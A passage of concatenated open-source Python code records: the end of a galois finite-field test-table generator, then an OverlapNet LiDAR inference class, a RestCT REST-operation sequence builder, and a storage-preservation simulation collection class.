for i in range(len(X)):\n x = list_to_poly(X[i])\n z = x.reverse()\n z = poly_to_list(z)\n Z.append(z)\n d = {\"X\": X, \"Z\": Z}\n save_pickle(d, folder, \"reverse.pkl\")\n\n set_seed(seed + 302)\n X = [random_coeffs(0, order, MIN_COEFFS, MAX_COEFFS) for i in range(20)]\n R = []\n M = []\n for i in range(len(X)):\n x = list_to_poly(X[i])\n roots = x.roots()\n RR, MM = [], []\n for root in roots:\n r = root[0]\n m = root[1]\n RR.append(I(r))\n MM.append(int(m))\n idxs = np.argsort(RR) # Sort by ascending roots\n RR = (np.array(RR, dtype=dtype)[idxs]).tolist()\n MM = (np.array(MM, dtype=dtype)[idxs]).tolist()\n R.append(RR)\n M.append(MM)\n d = {\"X\": X, \"R\": R, \"M\": M}\n save_pickle(d, folder, \"roots.pkl\")\n\n set_seed(seed + 303)\n X = [random_coeffs(0, order, 2*FIELD.degree(), 6*FIELD.degree()) for i in range(20)]\n Y = [1,]*10 + [random.randint(2, FIELD.degree() + 1) for i in range(10)]\n Z = []\n for i in range(len(X)):\n x = list_to_poly(X[i])\n z = x.derivative(Y[i])\n z = poly_to_list(z)\n Z.append(z)\n d = {\"X\": X, \"Y\": Y, \"Z\": Z}\n save_pickle(d, folder, \"derivative.pkl\")\n\n ###############################################################################\n # Polynomial arithmetic functions\n ###############################################################################\n\n set_seed(seed + 401)\n X = [random_coeffs(0, order, MIN_COEFFS, MAX_COEFFS) for i in range(20)]\n Y = [random_coeffs(0, order, MIN_COEFFS, MAX_COEFFS) for i in range(20)]\n D = []\n S = []\n T = []\n for i in range(len(X)):\n x = list_to_poly(X[i])\n y = list_to_poly(Y[i])\n d, s, t = xgcd(x, y)\n d = poly_to_list(d)\n s = poly_to_list(s)\n t = poly_to_list(t)\n D.append(d)\n S.append(s)\n T.append(t)\n d = {\"X\": X, \"Y\": Y, \"D\": D, \"S\": S, \"T\": T}\n save_pickle(d, folder, \"egcd.pkl\")\n\n set_seed(seed + 402)\n X = []\n Z = []\n for i in range(20):\n XX = [random_coeffs(0, order, MIN_COEFFS, MAX_COEFFS) for i in range(random.randint(2, 5))]\n X.append(XX)\n xx = [list_to_poly(XXi) for XXi in XX]\n z = lcm(xx)\n z = poly_to_list(z)\n Z.append(z)\n d = {\"X\": X, \"Z\": Z}\n save_pickle(d, folder, \"lcm.pkl\")\n\n set_seed(seed + 403)\n X = []\n Z = []\n for i in range(20):\n XX = [random_coeffs(0, order, MIN_COEFFS, MAX_COEFFS) for i in range(random.randint(2, 5))]\n X.append(XX)\n xx = [list_to_poly(XXi) for XXi in XX]\n z = prod(xx)\n z = poly_to_list(z)\n Z.append(z)\n d = {\"X\": X, \"Z\": Z}\n save_pickle(d, folder, \"prod.pkl\")\n\n set_seed(seed + 404)\n X = [random_coeffs(0, order, MIN_COEFFS, MAX_COEFFS) for i in range(20)]\n E = [random.randint(2, 10) for i in range(20)]\n M = [random_coeffs(0, order, MIN_COEFFS, MAX_COEFFS) for i in range(20)]\n Z = []\n for i in range(20):\n x = list_to_poly(X[i])\n e = E[i]\n m = list_to_poly(M[i])\n z = (x ** e) % m\n z = poly_to_list(z)\n Z.append(z)\n d = {\"X\": X, \"E\": E, \"M\": M, \"Z\": Z}\n save_pickle(d, folder, \"modular_power.pkl\")\n\n set_seed(seed + 405)\n X = [0,]*20 # The remainder\n Y = [0,]*20 # The modulus\n Z = [0,]*20 # The solution\n for i in range(20):\n n = random.randint(2, 4) # The number of polynomials\n x, y = [], []\n for j in range(n):\n d = random.randint(3, 5)\n x.append(random_coeffs(0, order, d, d + 1))\n y.append(random_coeffs(0, order, d + 1, d + 2)) # Ensure modulus degree is greater than remainder degree\n X[i] = x\n Y[i] = y\n try:\n x = [list_to_poly(xx) for xx in x]\n y = [list_to_poly(yy) for yy in y]\n z = crt(x, y)\n Z[i] = poly_to_list(z)\n except:\n Z[i] = None\n d = {\"X\": X, \"Y\": Y, \"Z\": Z}\n save_pickle(d, folder, \"crt.pkl\")\n\n ###############################################################################\n # Special polynomials\n ###############################################################################\n\n set_seed(seed + 501)\n X = [random_coeffs(0, order, 1, 6) for _ in range(20)]\n Z = [False,]*len(X)\n for i in range(len(X)):\n if random.choice([\"one\", \"other\"]) == \"one\":\n X[i][0] = 1\n x = list_to_poly(X[i])\n z = x.is_monic()\n Z[i] = bool(z)\n d = {\"X\": X, \"Z\": Z}\n save_pickle(d, folder, \"is_monic.pkl\")\n\n set_seed(seed + 502)\n IS = []\n IS_NOT = []\n if order <= 2**16:\n while len(IS) < 10:\n x = random_coeffs(0, order, 1, 6)\n f = list_to_poly(x)\n if f.is_irreducible():\n IS.append(x)\n while len(IS_NOT) < 10:\n x = random_coeffs(0, order, 1, 6)\n f = list_to_poly(x)\n if not f.is_irreducible():\n IS_NOT.append(x)\n d = {\"IS\": IS, \"IS_NOT\": IS_NOT}\n save_pickle(d, folder, \"is_irreducible.pkl\")\n\n set_seed(seed + 503)\n IS = []\n IS_NOT = []\n if order <= 2**16:\n while len(IS) < 10:\n x = random_coeffs(0, order, 1, 6)\n f = list_to_poly(x)\n # f = f / f.coefficients()[-1] # Make monic\n # assert f.is_monic()\n if f.degree() == 1 and f.coefficients(sparse=False)[0] == 0:\n continue # For some reason `is_primitive()` crashes on f(x) = a*x\n if not f.is_irreducible():\n continue # Want to find an irreducible polynomial that is also primitive\n if f.is_primitive():\n IS.append(x)\n while len(IS_NOT) < 10:\n x = random_coeffs(0, order, 1, 6)\n f = list_to_poly(x)\n # f = f / f.coefficients()[-1] # Make monic\n # assert f.is_monic()\n if f.degree() == 1 and f.coefficients(sparse=False)[0] == 0:\n continue # For some reason `is_primitive()` crashes on f(x) = a*x\n if not f.is_irreducible():\n continue # Want to find an irreducible polynomial that is not primitive\n if not f.is_primitive():\n IS_NOT.append(x)\n d = {\"IS\": IS, \"IS_NOT\": IS_NOT}\n save_pickle(d, folder, \"is_primitive.pkl\")\n\n set_seed(seed + 504)\n if order <= 2**16:\n X = [random_coeffs(0, order, 1, 6) for _ in range(20)]\n Z = [False,]*len(X)\n for i in range(len(X)):\n x = list_to_poly(X[i])\n z = x.is_squarefree()\n Z[i] = bool(z)\n else:\n X = []\n Z = []\n d = {\"X\": X, \"Z\": Z}\n save_pickle(d, folder, \"is_square_free.pkl\")\n\n\nif __name__ == \"__main__\":\n field = GF(2, modulus=\"primitive\", repr=\"int\")\n sub_folder = \"GF(2)\"\n seed = 123456789 + 1000\n make_luts(field, sub_folder, seed)\n\n field = GF(5, modulus=\"primitive\", repr=\"int\")\n sub_folder = \"GF(5)\"\n seed = 123456789 + 2000\n make_luts(field, sub_folder, seed)\n\n field = GF(7, modulus=\"primitive\", repr=\"int\")\n sub_folder = \"GF(7)\"\n seed = 123456789 + 3000\n make_luts(field, sub_folder, seed)\n\n field = GF(31, modulus=\"primitive\", repr=\"int\")\n sub_folder = \"GF(31)\"\n seed = 123456789 + 4000\n make_luts(field, sub_folder, seed)\n\n field = GF(3191, modulus=\"primitive\", repr=\"int\")\n sub_folder = \"GF(3191)\"\n seed = 123456789 + 5000\n make_luts(field, sub_folder, seed, sparse=True)\n\n # prime = 2**31 - 1, small enough to fit in np.int64\n field = GF(2147483647, modulus=\"primitive\", repr=\"int\")\n sub_folder = \"GF(2147483647)\"\n seed = 123456789 + 6000\n make_luts(field, sub_folder, seed, sparse=True)\n\n # prime = 2**65 - 49, large enough to not fit in np.int64 and require np.object_\n field = GF(36893488147419103183, modulus=\"primitive\", repr=\"int\")\n sub_folder = \"GF(36893488147419103183)\"\n seed = 123456789 + 7000\n make_luts(field, sub_folder, seed, sparse=True)\n\n field = GF(2**2, \"x\", modulus=\"primitive\", repr=\"int\")\n sub_folder = \"GF(2^2)\"\n seed = 123456789 + 8000\n make_luts(field, sub_folder, seed)\n\n field = GF(2**3, \"x\", modulus=\"primitive\", repr=\"int\")\n sub_folder = \"GF(2^3)\"\n seed = 123456789 + 9000\n make_luts(field, sub_folder, seed)\n\n field = GF(2**8, \"x\", modulus=\"primitive\", repr=\"int\")\n sub_folder = \"GF(2^8)\"\n seed = 123456789 + 10000\n make_luts(field, sub_folder, seed)\n\n field = GF(2**8, \"x\", modulus=[1,1,0,1,1,0,0,0,1], repr=\"int\")\n sub_folder = \"GF(2^8, 283, 19)\"\n seed = 123456789 + 11000\n make_luts(field, sub_folder, seed)\n\n field = GF(2**32, \"x\", modulus=\"primitive\", repr=\"int\")\n sub_folder = \"GF(2^32)\"\n seed = 123456789 + 12000\n make_luts(field, sub_folder, seed, sparse=True)\n\n field = GF(2**100, \"x\", modulus=\"primitive\", repr=\"int\")\n sub_folder = \"GF(2^100)\"\n seed = 123456789 + 13000\n make_luts(field, sub_folder, seed, sparse=True)\n\n field = GF(7**3, \"x\", modulus=\"primitive\", repr=\"int\")\n sub_folder = \"GF(7^3)\"\n seed = 123456789 + 14000\n make_luts(field, sub_folder, seed)\n\n field = GF(7**3, \"x\", modulus=[6,0,6,1], repr=\"int\")\n sub_folder = \"GF(7^3, 643, 244)\"\n seed = 123456789 + 15000\n make_luts(field, sub_folder, seed)\n\n field = GF(109987**4, \"x\", modulus=\"primitive\", repr=\"int\")\n sub_folder = \"GF(109987^4)\"\n seed = 123456789 + 16000\n make_luts(field, sub_folder, seed, sparse=True)\n", "source": "hussinhassan80/galois", "license": "MIT"} {"text": "#!/usr/bin/env python3\n# Developed by Xieyuanli Chen and Thomas L\u00e4be\n# This file is covered by the LICENSE file in the root of this project.\n# Brief: A class used for inferring overlap and yaw-angle between two LiDAR scans\n# To get a log file\nimport importlib\nimport logging\nimport os\nimport sys\n\nimport keras\nimport numpy as np\nimport yaml\n\nimportlib.reload(logging) # needed for ipython console\n\nimport generateNet\nfrom ImagePairOverlapSequenceFeatureVolume import ImagePairOverlapSequenceFeatureVolume\nfrom ImagePairOverlapOrientationSequence import ImagePairOverlapOrientationSequence\n\n\nclass Infer():\n \"\"\" A class used for inferring overlap and yaw-angle between two LiDAR scans.\n \"\"\"\n \n def __init__(self, config):\n \"\"\" Init:\n Args:\n config: A dict with configuration values, usually loaded from a yaml file\n \"\"\"\n self.network_output_size = config['model']['leg_output_width']\n self.seq = config['infer_seqs']\n \n self.datasetpath = config['data_root_folder']\n \n if 'use_depth' in config:\n self.use_depth = config['use_depth']\n else:\n self.use_depth = True\n \n if 'use_normals' in config:\n self.use_normals = config['use_normals']\n else:\n self.use_normals = True\n \n if 'use_class_probabilities' in config:\n self.use_class_probabilities = config['use_class_probabilities']\n else:\n self.use_class_probabilities = False\n \n if 'use_class_probabilities_pca' in config:\n self.use_class_probabilities_pca = config['use_class_probabilities_pca']\n else:\n self.use_class_probabilities_pca = False\n \n if 'use_intensity' in config:\n self.use_intensity = config['use_intensity']\n else:\n self.use_intensity = False\n \n # no channels for input\n self.no_input_channels = 0\n if config['use_depth']:\n self.no_input_channels += 1\n if config['use_normals']:\n self.no_input_channels += 3\n if config['use_intensity']:\n self.no_input_channels += 1\n if config['use_class_probabilities']:\n if config['use_class_probabilities_pca']:\n self.no_input_channels += 3\n else:\n self.no_input_channels += 20\n \n # Input shape of model\n self.inputShape = config['model']['inputShape']\n if len(self.inputShape) == 3:\n pass\n elif len(self.inputShape) == 2:\n self.inputShape.append(self.no_input_channels)\n else:\n self.inputShape[2] = self.no_input_channels\n \n self.batch_size = config['batch_size']\n \n # %% Create two nets: leg and head\n legsType = config['model']['legsType']\n overlap_head = config['model']['overlap_head']\n orientation_head = config['model']['orientation_head']\n \n network_generate_method_leg = getattr(generateNet, 'generate' + legsType)\n network_generate_method_overlap_head = getattr(generateNet, 'generate' + overlap_head)\n network_generate_method_orientation_head = getattr(generateNet, 'generate' + orientation_head)\n # Input for leg\n leg_input_l = keras.Input(self.inputShape)\n leg_input_r = keras.Input(self.inputShape)\n \n # The leg: Note that only encoded_l is actually used\n (encoded_l, encoded_r) = network_generate_method_leg(\n leg_input_l, leg_input_r, self.inputShape, config['model'], False)\n self.leg = keras.Model(inputs=leg_input_l, outputs=encoded_l)\n \n # Input for head\n inputHead_l = keras.Input(encoded_l.shape[1:])\n inputHead_r = keras.Input(encoded_r.shape[1:])\n \n # The head\n overlap_predict = network_generate_method_overlap_head(inputHead_l, inputHead_r, config['model'])\n orientation_predict = network_generate_method_orientation_head(inputHead_l, inputHead_r, config['model'])\n \n self.head = keras.Model(inputs=(inputHead_l, inputHead_r), outputs=[overlap_predict, orientation_predict])\n \n # previous feature volumes\n self.feature_volumes = []\n \n # Load weights from training\n pretrained_weightsfilename = config['pretrained_weightsfilename']\n if len(pretrained_weightsfilename) > 0:\n self.leg.load_weights(pretrained_weightsfilename, by_name=True)\n self.head.load_weights(pretrained_weightsfilename, by_name=True)\n else:\n print('Pre-trained weights was not found in:', pretrained_weightsfilename)\n \n def infer_one(self, filepath1, filepath2):\n \"\"\" Infer with one input pair.\n Args:\n filepath1: path of LiDAR scan 1\n filepath2: path of LiDAR scan 2\n \n Returns:\n [overlap, yaw]\n \"\"\"\n # check file format\n if not filepath1.endswith('.bin') or not filepath2.endswith('.bin'):\n raise Exception('Please check the LiDAR file format, '\n 'this implementation currently only works with .bin files.')\n \n filename1 = os.path.basename(filepath1).replace('.bin', '')\n filename2 = os.path.basename(filepath2).replace('.bin', '')\n self.filenames = np.array([filename2, filename1])\n \n # check preprocessed data\n preprocess_data_folder = os.path.join(self.datasetpath, self.seq)\n if not os.path.isdir(preprocess_data_folder):\n raise Exception('Please first generate preprocessed input data.')\n \n # generate leg feature_volumes\n feature_volumes = self.create_feature_volumes(self.filenames)\n \n indizes = np.zeros((1, 2), dtype=int)\n indizes[0, 0] = 0\n indizes[0, 1] = 1\n test_generator_head = ImagePairOverlapSequenceFeatureVolume(indizes, np.array([[0.]]),\n self.batch_size, feature_volumes)\n model_outputs = self.head.predict_generator(test_generator_head, max_queue_size=10,\n workers=8, verbose=1)\n overlap_out = model_outputs[0][0]\n yaw_out = 180 - np.argmax(model_outputs[1], axis=1)\n \n return overlap_out, yaw_out\n \n def infer_multiple(self, current_frame_id, reference_frame_id):\n \"\"\" Infer with multiple input pairs.\n Args:\n coord_current_frame: 1D array with two elements X and Y\n \"\"\"\n filename = [str(current_frame_id).zfill(6)]\n self.feature_volumes.append(self.create_feature_volumes(filename)[0])\n \n if len(reference_frame_id) > 0:\n pair_indizes = np.zeros((len(reference_frame_id), 2), dtype=int)\n pair_indizes[:, 1] = np.ones(len(reference_frame_id)) * current_frame_id\n pair_indizes[:, 0] = reference_frame_id\n \n test_generator_head = ImagePairOverlapSequenceFeatureVolume(pair_indizes, np.zeros((len(pair_indizes))),\n self.batch_size, np.array(self.feature_volumes))\n model_outputs = self.head.predict_generator(test_generator_head, max_queue_size=10,\n workers=8, verbose=1)\n \n overlap_out = model_outputs[0].squeeze()\n yaw_out = 180 - np.argmax(model_outputs[1], axis=1)\n \n return overlap_out, yaw_out\n \n else:\n return None\n \n def create_feature_volumes(self, filenames):\n \"\"\" create feature volumes, thus execute the leg.\n Args:\n filenames: numpy array of input file names\n Returns:\n A n x width x height x channels numpy array of feature volumes\n \"\"\"\n generator_leg = ImagePairOverlapOrientationSequence(self.datasetpath,\n filenames, [],\n [self.seq for _ in\n range(len(filenames))], [],\n np.zeros((len(filenames))),\n np.zeros((len(filenames))),\n self.network_output_size, self.batch_size,\n self.inputShape[0], self.inputShape[1],\n self.no_input_channels,\n use_depth=self.use_depth,\n use_normals=self.use_normals,\n use_class_probabilities=self.use_class_probabilities,\n use_intensity=self.use_intensity,\n use_class_probabilities_pca=self.use_class_probabilities_pca)\n \n feature_volumes = self.leg.predict_generator(generator_leg, max_queue_size=10,\n workers=8, verbose=1)\n \n return feature_volumes\n \n\nif __name__ == '__main__':\n configfilename = '../../config/config.yml'\n \n if len(sys.argv) > 1:\n configfilename = sys.argv[1]\n if len(sys.argv) > 2:\n scan1 = sys.argv[2]\n scan2 = sys.argv[3]\n \n config = yaml.load(open(configfilename))\n infer = Infer(config)\n \n # Test infer one\n overlap, yaw = infer.infer_one(scan1, scan2)\n print(\"Overlap: \", overlap)\n print(\"Orientation: \", yaw)\n \n # Test infer multiple\n model_outputs = infer.infer_multiple([1], [0, 1])\n print(\"Overlap: \", model_outputs[0])\n print(\"Orientation: \", np.argmax(model_outputs[1], axis=1))\n", "source": "lilin-hitcrt/OverlapNet", "license": "MIT"} {"text": "import time\nfrom typing import List, Set, Tuple\nfrom src.Dto.operation import Operation\nfrom enum import Enum\nfrom src.Dto.keywords import Method\nfrom itertools import groupby, permutations, combinations\nfrom random import choice\n\n\nclass Node:\n def __init__(self, operations: List[Operation]):\n self.operations: List[Operation] = operations\n\n # resource states\n self.state = Resource.NoExist if Method.POST in self.methodSet else Resource.Exist\n\n self.successors: List[Node] = list()\n self.predecessor: Node = None\n\n @property\n def methodSet(self) -> Set[Method]:\n return {op.method for op in self.operations}\n\n def haveMethod(self, method: Method):\n return method in self.methodSet\n\n def findOperation(self, method: Method):\n for operation in self.operations:\n if operation.method is method:\n return operation\n\n def isRoot(self):\n \"\"\"is it root node ?\"\"\"\n return len(self.methodSet) == 0\n\n def havePredecessor(self):\n return self.predecessor is not None\n\n def haveSuccessor(self):\n return not len(self.successors)\n\n @property\n def url(self):\n return self.operations[0].url\n\n @property\n def splittedUrl(self) -> Set[Tuple[str, int]]:\n return self.operations[0].splittedUrl\n\n\nclass Resource(Enum):\n NoExist = 0\n Exist = 1\n Destroy = -1\n\n\nclass Graph:\n \"\"\"graph structure\"\"\"\n\n def __init__(self):\n self.root = Node(list())\n self.nodes = dict()\n\n def insert(self, newNode: Node, predecessor: Node = None):\n \"\"\"\n :param newNode: node to be inserted\n :param predecessor: parent node\n :return:\n \"\"\"\n if predecessor is None:\n predecessor = self.root\n\n insertFlag = True\n if predecessor.isRoot() or newNode.splittedUrl > predecessor.splittedUrl:\n for successor in predecessor.successors:\n if newNode.splittedUrl > successor.splittedUrl:\n self.insert(newNode, successor)\n insertFlag = False\n if insertFlag:\n if len(predecessor.successors) > 0:\n nodesModified = list()\n for successor in predecessor.successors:\n if newNode.splittedUrl < successor.splittedUrl:\n nodesModified.append(successor)\n for curNode in nodesModified:\n curNode.predecessor = newNode\n newNode.successors.append(curNode)\n predecessor.successors.remove(curNode)\n predecessor.successors.append(newNode)\n newNode.predecessor = predecessor\n\n def change(self, opsToAdd: List[Operation]):\n for operation in opsToAdd:\n node = self.findNode(operation.url)\n if operation.method is Method.POST:\n assert node.state is Resource.NoExist\n node.state = Resource.Exist\n elif operation.method is Method.DELETE:\n assert node.state is Resource.Exist\n node.state = Resource.Destroy\n else:\n continue\n\n def findNode(self, url: str):\n assert url in self.nodes.keys()\n return self.nodes.get(url)\n\n @staticmethod\n def findPredecessors(node):\n predecessors = list()\n curNode = node\n while True:\n preNode = curNode.predecessor\n if preNode.isRoot():\n return predecessors\n else:\n predecessors.insert(0, preNode)\n curNode = preNode\n\n @classmethod\n def buildGraph(cls, operations: List[Operation]):\n graph = cls()\n\n operationSorted = sorted(operations, key=lambda op: op.url)\n for url, group in groupby(operationSorted, key=lambda op: op.url):\n node = Node(list(group))\n graph.nodes[url] = node\n graph.insert(node, None)\n return graph\n\n\nclass SCA:\n members: List[Tuple[Operation]] = list()\n\n def __init__(self):\n from src.restct import Config\n self._strength = min(Config.s_strength, len(Operation.members))\n self.uncoveredSet = self._collectUncoveredSet()\n\n # start time\n self.time = time.time()\n\n def _collectUncoveredSet(self):\n \"\"\"get all combinations to be covered\"\"\"\n uncoveredSet = set()\n for p in permutations(Operation.members, self._strength):\n if self._isValidP(p):\n uncoveredSet.add(p)\n return uncoveredSet\n\n @staticmethod\n def _isValidP(permutation):\n \"\"\"check the permutation\"\"\"\n for index, operation in enumerate(permutation):\n # POST Constraint\n if operation.method is Method.POST:\n for loc in range(index):\n if operation.splittedUrl <= permutation[loc].splittedUrl:\n return False\n # DELETE Constraint\n if operation.method is Method.DELETE:\n for loc in range(index + 1, len(permutation)):\n if operation.splittedUrl <= permutation[loc].splittedUrl:\n return False\n return True\n\n @staticmethod\n def _getCandidates(graph: Graph):\n candidates = set()\n stack = [graph.root]\n while len(stack):\n curNode = stack.pop()\n for successor in curNode.successors:\n if successor.state is not Resource.Destroy:\n candidates.update(successor.operations)\n stack.insert(0, successor)\n return candidates\n\n def _setPriorities(self, candidates, sequence, length):\n if len(candidates) == 0:\n return 0, list()\n candidatesWithCount: List[Tuple[Operation, int]] = [(op, self._countPWithOp(op, sequence, length)) for op in\n candidates]\n maxCount = 0\n targetOpList = list()\n for op, count in candidatesWithCount:\n if count == maxCount:\n targetOpList.append(op)\n elif count > maxCount:\n targetOpList.clear()\n targetOpList.append(op)\n maxCount = count\n else:\n continue\n return maxCount, targetOpList\n\n def _countPWithOp(self, op, seq, length):\n \"\"\"compute how many tuples will be covered by append op to seq\"\"\"\n assert length <= len(seq)\n combinationsWithOp = {p + (op,) for p in combinations(seq, r=length)}\n assert 0 <= length <= self._strength\n if length == self._strength - 1:\n return len(self.uncoveredSet & combinationsWithOp)\n else:\n count = 0\n for uncovered in self.uncoveredSet:\n if uncovered[:(length + 1)] in combinationsWithOp:\n count += 1\n return count\n\n @staticmethod\n def _genDependOps(operation: Operation, graph: Graph):\n \"\"\"generate extra operation sequence before appending selected op to satisfied the constraints\"\"\"\n opsToAdd = list()\n node: Node = graph.findNode(operation.url)\n while True:\n if node.isRoot():\n break\n if node.state is Resource.NoExist:\n assert Method.POST in node.methodSet\n opsToAdd.insert(0, node.findOperation(Method.POST))\n assert node.state is not Resource.Destroy\n node = node.predecessor\n if operation not in opsToAdd:\n opsToAdd.append(operation)\n return opsToAdd\n\n def buildSequence(self) -> Tuple[Operation]:\n sequence: List[Operation] = list()\n graph = Graph.buildGraph(Operation.members)\n loopFlag = True\n\n while loopFlag:\n for childLength in range(self._strength - 1, -1, -1):\n if childLength > len(sequence):\n continue\n candidates = SCA._getCandidates(graph) - set(sequence)\n maxCount, operationList = self._setPriorities(candidates, sequence, childLength)\n if maxCount > 0:\n selectedOp = choice(operationList)\n opsToAdd = SCA._genDependOps(selectedOp, graph)\n graph.change(opsToAdd)\n sequence.extend(opsToAdd)\n break\n else:\n if childLength == 0:\n loopFlag = False\n\n # update uncovered set\n newCovered = set(combinations(sequence, self._strength))\n self.uncoveredSet -= newCovered\n SCA.members.append(tuple(sequence))\n return tuple(sequence)\n", "source": "GIST-NJU/RestCT", "license": "MIT"} {"text": "#!/usr/bin/python\n# collection.py\n# \nimport simpy\nfrom NewTraceFac import NTRC,ntrace,ntracef\nimport itertools\nfrom globaldata import G\nfrom server import CServer\nfrom audit2 import fAudit_Select\nimport util\nimport math\nimport logoutput as lg\nimport collections as cc\nfrom catchex import catchex\nfrom document import CDocument\n\n\n#===========================================================\n# C O L L E C T I O N \n#--------------------\n\nclass CCollection(object):\n getID = itertools.count(1).next\n\n @ntracef(\"COLL\")\n def __init__(self,mysName,mynValue,mynSize,mysClientID):\n self.ID = \"C\" + str(self.getID())\n G.dID2Collection[self.ID] = self\n G.nCollLastID = self.ID\n\n self.sName = mysName\n self.nValue = mynValue\n self.sClientID = mysClientID\n self.lDocIDs = list()\n self.lDocIDsRemaining = list()\n self.lServerIDs = list()\n\n # Summary counters for document status at end of run.\n self.nDocsRemaining = 0\n self.nDocsOkay = 0\n self.nDocsMajorityRepair = 0\n self.nDocsMinorityRepair = 0\n self.nDocsLost = 0\n\n # Action: create all books in the collection.\n self.mMakeBooks(mynSize)\n \n# C o l l e c t i o n . m M a k e B o o k s \n @ntracef(\"COLL\")\n def mMakeBooks(self,mynBooks):\n # A collection has lots of books\n for icoll in xrange(mynBooks):\n ndocsize = util.fnnCalcDocSize(self.nValue)\n cDoc = CDocument(ndocsize,self.sClientID,self.ID)\n self.lDocIDs.append(cDoc.ID)\n self.lDocIDsRemaining.append(cDoc.ID)\n self.nDocsRemaining += 1\n return self.ID\n\n# C o l l e c t i o n . m L i s t D o c u m e n t s \n @ntracef(\"COLL\")\n def mListDocuments(self):\n NTRC.ntracef(5,\"COLL\",\"proc mListDocuments self|%s| returning |%s|\" % (self,self.lDocIDs))\n return (self.lDocIDs)\n\n# C o l l e c t i o n . m L i s t D o c u m e n t s R e m a i n i n g \n @ntracef(\"COLL\")\n def mListDocumentsRemaining(self):\n NTRC.ntracef(5,\"COLL\",\"proc mListDocuments self|%s| returning |%s|\" % (self,self.lDocIDs))\n return (self.lDocIDsRemaining)\n\n# C o l l e c t i o n . m T e s t C o l l e c t i o n\n @ntracef(\"COLL\")\n def mTestCollection(self):\n ''' Return a list, maybe empty, of documents declared missing\n from this collection. \n '''\n bOldLogState = G.bDoNotLogInfo\n if G.bShortLog: G.bDoNotLogInfo = True\n lDeadDocIDs = list()\n for sDocID in self.lDocIDs:\n cDoc = G.dID2Document[sDocID]\n (bOkay,bInjured,bForensics,bLost) = cDoc.mTestCopies()\n NTRC.ntracef(3,\"COLL\",\"proc TestColl1 coll|%s| tests doc|%s| \"\n \"okay|%s| injured|%s| forensics|%s| lost|%s|\" % \n (self.ID,sDocID,bOkay,bInjured,bForensics,bLost))\n # Merge new info with old info from audits.\n (bOkay,bInjured,bForensics,bLost) = \\\n cDoc.mMergeEvaluation(bOkay,bInjured,bForensics,bLost)\n # Update stats of document statuses. \n self.nDocsOkay += 1 if bOkay else 0\n self.nDocsMajorityRepair += 1 if bInjured else 0\n self.nDocsMinorityRepair += 1 if bForensics else 0\n self.nDocsLost += 1 if bLost else 0\n # Update lost list.\n if bLost:\n lDeadDocIDs.append(sDocID)\n NTRC.ntracef(3,\"COLL\",\"proc TestColl2 dead doc|%s| in coll|%s| \"\n % (sDocID,self.ID))\n NTRC.ntracef(3,\"COLL\",\"proc TestColl3 coll|%s| doc|%s| okay|%s| \"\n \"majority|%s| minority|%s| lost|%s|\" % \n (self.ID,sDocID,bOkay,bInjured,bForensics,bLost))\n if not bOkay:\n (nMajority,nMinority) = cDoc.mGetRepairCounts()\n lg.logInfo(\"DOCUMENT\",\"doc injured cli|%s| coll|%s| doc|%s| \"\n \"majority|%s|%s| minority|%s|%s| lost|%s|\" % \n (self.sClientID, self.ID,sDocID, bInjured, nMajority, \n bForensics, nMinority, bLost))\n G.bDoNotLogInfo = bOldLogState\n return lDeadDocIDs\n\n# C C o l l e c t i o n . m H o w M a n y C o p i e s L e f t \n @ntracef(\"COLL\")\n def mHowManyCopiesLeft(self):\n ''' \\\n Return list for all docs of how many copies exist across all servers.\n \n For a sDocID, return the length of the list of all servers that \n claim to have a copy of the doc.\n '''\n lDocAliveCounts = map( \n (lambda sDocID: \\\n len( \\\n filter( \\\n (lambda sServerID: \\\n self.mIsDocInServer(sDocID,sServerID)), \\\n self.lServerIDs))), \\\n self.lDocIDs )\n return lDocAliveCounts\n\n# C o l l e c t i o n . m I s D o c I n S e r v e r \n @ntracef(\"COLL\")\n def mIsDocInServer(self,mysDocID,mysServerID):\n ''' Return t/f is this doc present on that server. '''\n cServer = G.dID2Server[mysServerID]\n bResult = cServer.mTestDocument(mysDocID)\n return bResult\n\n# C o l l e c t i o n . m H o w M a n y C o p i e s L e f t O f T h i s O n e D o c \n @ntracef(\"COLL\",level=5)\n def mHowManyCopiesLeftOfThisOneDoc(self,mysDocID):\n ''' Return (scalar) the number of copies that exist of this doc. '''\n nLeftNow = len( \\\n filter( \\\n (lambda sServerID: \\\n self.mIsDocInServer(mysDocID,sServerID)), \\\n self.lServerIDs))\n return nLeftNow\n\n# C o l l e c t i o n . m M a r k D o c L o s t \n @catchex\n @ntracef(\"COLL\")\n def mMarkDocLost(self,mysDocID):\n self.nDocsRemaining -= 1\n if mysDocID in self.lDocIDsRemaining:\n self.lDocIDsRemaining.remove(mysDocID)\n\n# C o l l e c t i o n . m E v a l u a t e O n e D o c \n @ntracef(\"COLL\")\n def mEvaluateOneDoc(self,mysDocID):\n ''' \\\n Return status of document, four bools: \n - okay = all copies intact, \n - injured = majority but not all copies intact, \n - forensics required = nonzero minority of copies intact, \n - lost = zero copies remaining intact. \n '''\n nCopiesLeft = self.mHowManyCopiesLeftOfThisOneDoc(mysDocID)\n nNumberOfServers = len(self.lServerIDs)\n nMajorityOfServers = (nNumberOfServers + 1) / 2\n bOkay = bInjured = bForensics = bLost = False\n \n # Are there any or enough copies left from which to repair the doc?\n if nCopiesLeft > 0:\n # If all copies remain, then doc is okay.\n if nCopiesLeft == nNumberOfServers :\n bOkay = True\n # If there is a majority of copies remaining, \n # then unambiguous repair is possible.\n elif nCopiesLeft >= nMajorityOfServers:\n bInjured = True\n # Some copies left, but not enough for unambiguous repair.\n # Record that forensics are required for this doc repair. \n else:\n bForensics = True\n # There are no remaining copies of the doc, \n # it cannot be repaired ever, oops. Permanent loss. \n else:\n bLost = True\n \n return (bOkay,bInjured,bForensics,bLost)\n\n# C o l l e c t i o n . m R e p o r t C o l l e c t i o n S t a t s \n @ntracef(\"COLL\")\n def mReportCollectionStats(self):\n return (self.ID,self.sClientID,len(self.lServerIDs),len(self.lDocIDs), self.nDocsOkay,self.nDocsInjured,self.nDocsForensics,self.nDocsLost)\n\n def mdReportCollectionStats(self):\n '''\\\n Return a dictionary of relevant stats.\n '''\n #dd = cc.defaultdict(list)\n dd = dict()\n dd[\"sClientID\"] = self.sClientID\n dd[\"sCollectionID\"] = self.ID\n dd[\"nDocs\"] = len(self.lDocIDs)\n dd[\"nServers\"] = len(self.lServerIDs)\n dd[\"nDocsRemaining\"] = self.nDocsRemaining\n dd[\"nOkay\"] = self.nDocsOkay\n dd[\"nRepairsMajority\"] = self.nDocsMajorityRepair\n dd[\"nRepairsMinority\"] = self.nDocsMinorityRepair\n dd[\"nLost\"] = self.nDocsLost\n# dd[\"nServerReplacements\"] = self.nServerReplacements\n return dd\n\n# Edit history:\n# 